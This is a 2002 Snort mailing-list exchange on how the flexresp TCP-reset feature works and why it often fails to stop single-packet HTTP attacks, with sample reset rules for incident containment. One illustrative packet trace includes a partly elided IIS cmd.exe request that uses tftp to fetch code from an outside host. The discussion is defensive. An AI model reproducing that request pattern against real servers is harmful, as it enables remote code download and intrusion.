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Re: Snort+flexresp

From: Bamm Visscher <bamm () satx rr com>
Date: 26 Mar 2002 07:28:42 -0600
Jeff,

Thanks for the explanation about how flex-resp works. Although to me it
seems you mixed "how it works" with "when/how to use it" and I disagree
with some of your assertions. You seem to imply that flex-resp will only
work with content based signatures. That is where I disagree. For
example, rules like these:

alert tcp 192.168.1.1 any <> any any (msg: "LOCAL Attempted session from
perp."; flags:!R; resp:rst_all;)

and

alert tcp any any <> 10.1.1.1 1524 (msg: "LOCAL Attempted session to
perps backdoor."; flags:!R; resp:rst_all;)

will attempt kill any session to/from the "bad guy" or his backdoor, and
as long as the protocol is "reset friendly" (ie ssh, FTP, SMTP, most tcp
backdoors, etc), it will be very successful.

Why would anyone use a rule like this? Because in some organizations
(MSSPs, larger companies, etc), the individuals doing network security
monitoring aren't necessarily handling the management of the
firewalls/routers. With flex-resp, the analyst who detect a successful
compromise can institute some type of "protection" until those
responsible for the compromised system and/or the engineers responsible
for FW management can be contacted and they can take the appropriate
actions.

Bammkkkk

On Mon, 2002-03-25 at 18:49, Jeff Nathan wrote:

Hi snortees,

I suppose it's time for a little tour of how flexresp is designed to
work.

First off, flexresp is not designed to reset new TCP connections to a
particular port outright.  It's actually designed to be employed with
signatures containing a *pattern* such that when a snort signature
matches a packet on the wire a response is generated.

With TCP, calculating ACK numbers is a function of acknowledging the
bytes already received by the IP stack as well as any TCP flags that
must be acknowledged and then incrementing the ACK number accordingly. 
With that said, flexresp won't properly generate a RST for a SYN to a
port, or at least it probably won't be accepted by a client IP stack
(though there's no accounting for broken IP stacks).  It's just not
designed to work that way.

When testing flexresp, your TCP based rules should trigger off packets
containing data and not part of the establishment or tearing down of a
session.

I hope this helps.

-Jeff


Bamm Visscher wrote:


I apologize for the confusion, I guess I should of elaborated more. I
did not mean to imply content rules do not "work" with flex-resp. You
can create any rule with any option and resp will "work". By "work", I
mean the reset(s)/ICMP error messages will be created by snort and sent
on the wire. The statement I was trying to make is how ineffective flex
response rules can be when used on HTTP traffic. Take the following HTTP
session as an example:

attacker:1025 -> target:80 S
attacker:1025 <- target:80 SA
attacker:1025 -> target:80 A
attacker:1025 -> target:80 AP "GET blah/cmd.exe?tftp hax0r.net blah"
attacker:1025 <- target:80 AP <HTML>200 Okay</HTML>
attacker:1025 -> target:80 FA
attacker:1025 <- target:80 A
attacker:1025 -> target:80 FA
attacker:1025 <- tartge:80 A

All the important content in this connection is contained in a single
packet (as is often the case with HTTP). In order to effectively reset
this connection, our reset packet has to reach the target box before the
"GET" request. So, using a content based rule probably isn't going to
prevent this attack from working. Matter of fact, try setting up a rule
to reset all web surfing from your IP (alert tcp YOURIP any <> any 80
(msg: "blocking web tfc"; resp:rst_all;)). Now see if you can surf the
web. I tried this a while back with snort-1.8.1 and had no problems
loading most pages. I tried the same thing later with snort-1.8.3 (major
changes to flex-resp) and found that it could sometimes prevent the
pages from loading, but not very often (IIRC. If your tests differ,
please let me know, I have been known to make mistakes). This is no
fault of snort, but a problem with the concept of flex-resp (tcp-reset,
etc) and affects all IDSes that employ it.

With that said, I do use flex-resp in a short-term incident containment
mode until long term fixes can be put in place. For example, once an
intrusion has been identified, I will use flex-resp in an effort to
prevent an attacker from doing further damage until the affected system
can be taken off-line or a rule blocking the attacker can be placed in
the FW/router. This often means sending a reset in response to any
packet sent by the source. Another example is using flex-resp to help
prevent the spread of a virus with a content based sigature in snort
until the virus signatures on email scrubbers can be updated.

Using flex-resp eats resources, so take the time to find out just how
different protocols work (HTTP, FTP, telnet, etc) and make sure any
flex-resp rules you create, are going to be effective "against" them. If
you want snort to take a more "active" role in preventing intrusions, I
suggest you look into hogwash.

Bammkkkk




-- 
http://jeff.wwti.com            (pgp key available)
"Common sense is the collection of prejudices acquired by age eighteen."
- Albert Einstein

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